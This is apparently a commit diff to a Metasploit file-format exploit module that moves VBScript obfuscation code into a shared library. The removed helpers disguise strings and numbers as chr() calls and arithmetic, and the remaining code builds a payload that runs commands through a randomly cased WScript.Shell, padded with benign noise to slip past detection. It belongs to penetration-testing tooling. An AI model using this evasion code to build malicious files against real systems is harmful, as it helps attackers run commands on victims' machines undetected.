@@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
77 Rank = GreatRanking
88
99 include Msf ::Exploit ::FILEFORMAT
10+ include Msf ::Exploit ::VBSObfuscate
1011
1112 def initialize ( info = { } )
1213 super (
@@ -60,57 +61,6 @@ def initialize(info = {})
6061 ] )
6162 end
6263
63- # Returns a random math expression evaluating to input int
64- #
65- # @param [Integer] int input integer
66- #
67- # @return [String] math expression evaluating to input int
68- def generate_number_expression ( int )
69- case rand ( 4 )
70- when 0 # Sum
71- a = rand ( 0 ..int )
72- b = int - a
73- "(#{ a } +#{ b } )"
74- when 1 # Difference
75- r1 = int + rand ( 1 ..10 )
76- r2 = r1 - int
77- "(#{ r1 } -#{ r2 } )"
78- when 2 # Product (only if divisible)
79- divisors = ( 1 ..int ) . select { |d | ( int % d ) . zero? }
80- if divisors . size > 1
81- d = divisors . sample
82- "(#{ d } *#{ int / d } )"
83- else
84- "(#{ int } +0)"
85- end
86- when 3 # Quotient
87- r2 = rand ( 1 ..10 )
88- r1 = int * r2
89- "(#{ r1 } /#{ r2 } )"
90- end
91- end
92-
93- # Return VBScript code with all strings split into chunks and concatenated
94- #
95- # @param [String] vbscript VBScript code
96- #
97- # @return [String] VBScript code with chunked strings
98- def chunk_vbscript_strings ( vbscript )
99- vbscript . gsub ( /"([^"]+)"/ ) do
100- original = Regexp . last_match ( 1 )
101- chunks = [ ]
102-
103- i = 0
104- while i < original . length
105- chunk_size = rand ( 1 ..5 )
106- chunks << "\" #{ original [ i , chunk_size ] } \" "
107- i += chunk_size
108- end
109-
110- chunks . join ( ' & ' )
111- end
112- end
113-
11464 # Build a series of benign VBScript noise blocks
11565 #
11666 # @param [Integer] block_count Number of blocks to generate
@@ -156,29 +106,6 @@ def generate_vbscript_noise(block_count = 0)
156106 lines . join ( "\r \n " )
157107 end
158108
159- # Obfuscate string literals and integer literals
160- #
161- # @param [String] vbscript VBScript code to be obfuscated
162- #
163- # @return [String] Obfuscated VBScript
164- def obfuscate_vbscript ( vbscript )
165- obfuscated = vbscript . dup
166-
167- # Obfuscate strings
168- obfuscated = chunk_vbscript_strings ( obfuscated )
169- obfuscated . gsub! ( /"((?:[^"]|"")*)"/ ) do
170- raw = ::Regexp . last_match ( 1 ) . gsub ( '""' , '"' )
171- raw . chars . map { |c | "chr(#{ generate_number_expression ( c . ord ) } )" } . join ( ' & ' )
172- end
173-
174- # Obfuscate integers
175- obfuscated . gsub! ( /\b \d +\b / ) do |num |
176- generate_number_expression ( num . to_i )
177- end
178-
179- obfuscated
180- end
181-
182109 def generate_vbscript ( command_string , prepend_benign_code : false , prepend_new_lines : 0 , obfuscate : false )
183110 vbs = ''
184111 vbs << generate_vbscript_noise ( rand ( 8 ..10 ) ) if prepend_benign_code
@@ -200,7 +127,7 @@ def generate_vbscript(command_string, prepend_benign_code: false, prepend_new_li
200127 shell_obj = 'WScript.Shell' . chars . map { |c | ( rand ( 2 ) == 0 ? c . downcase : c . upcase ) } . join
201128 vbs_payload = "CreateObject(\" #{ shell_obj } \" ).Run(\" #{ cmd } \" )"
202129 if obfuscate
203- vbs << obfuscate_vbscript ( vbs_payload )
130+ vbs << vbs_obfuscate ( vbs_payload ) . to_s
204131 else
205132 vbs << vbs_payload
206133 end
0 commit comments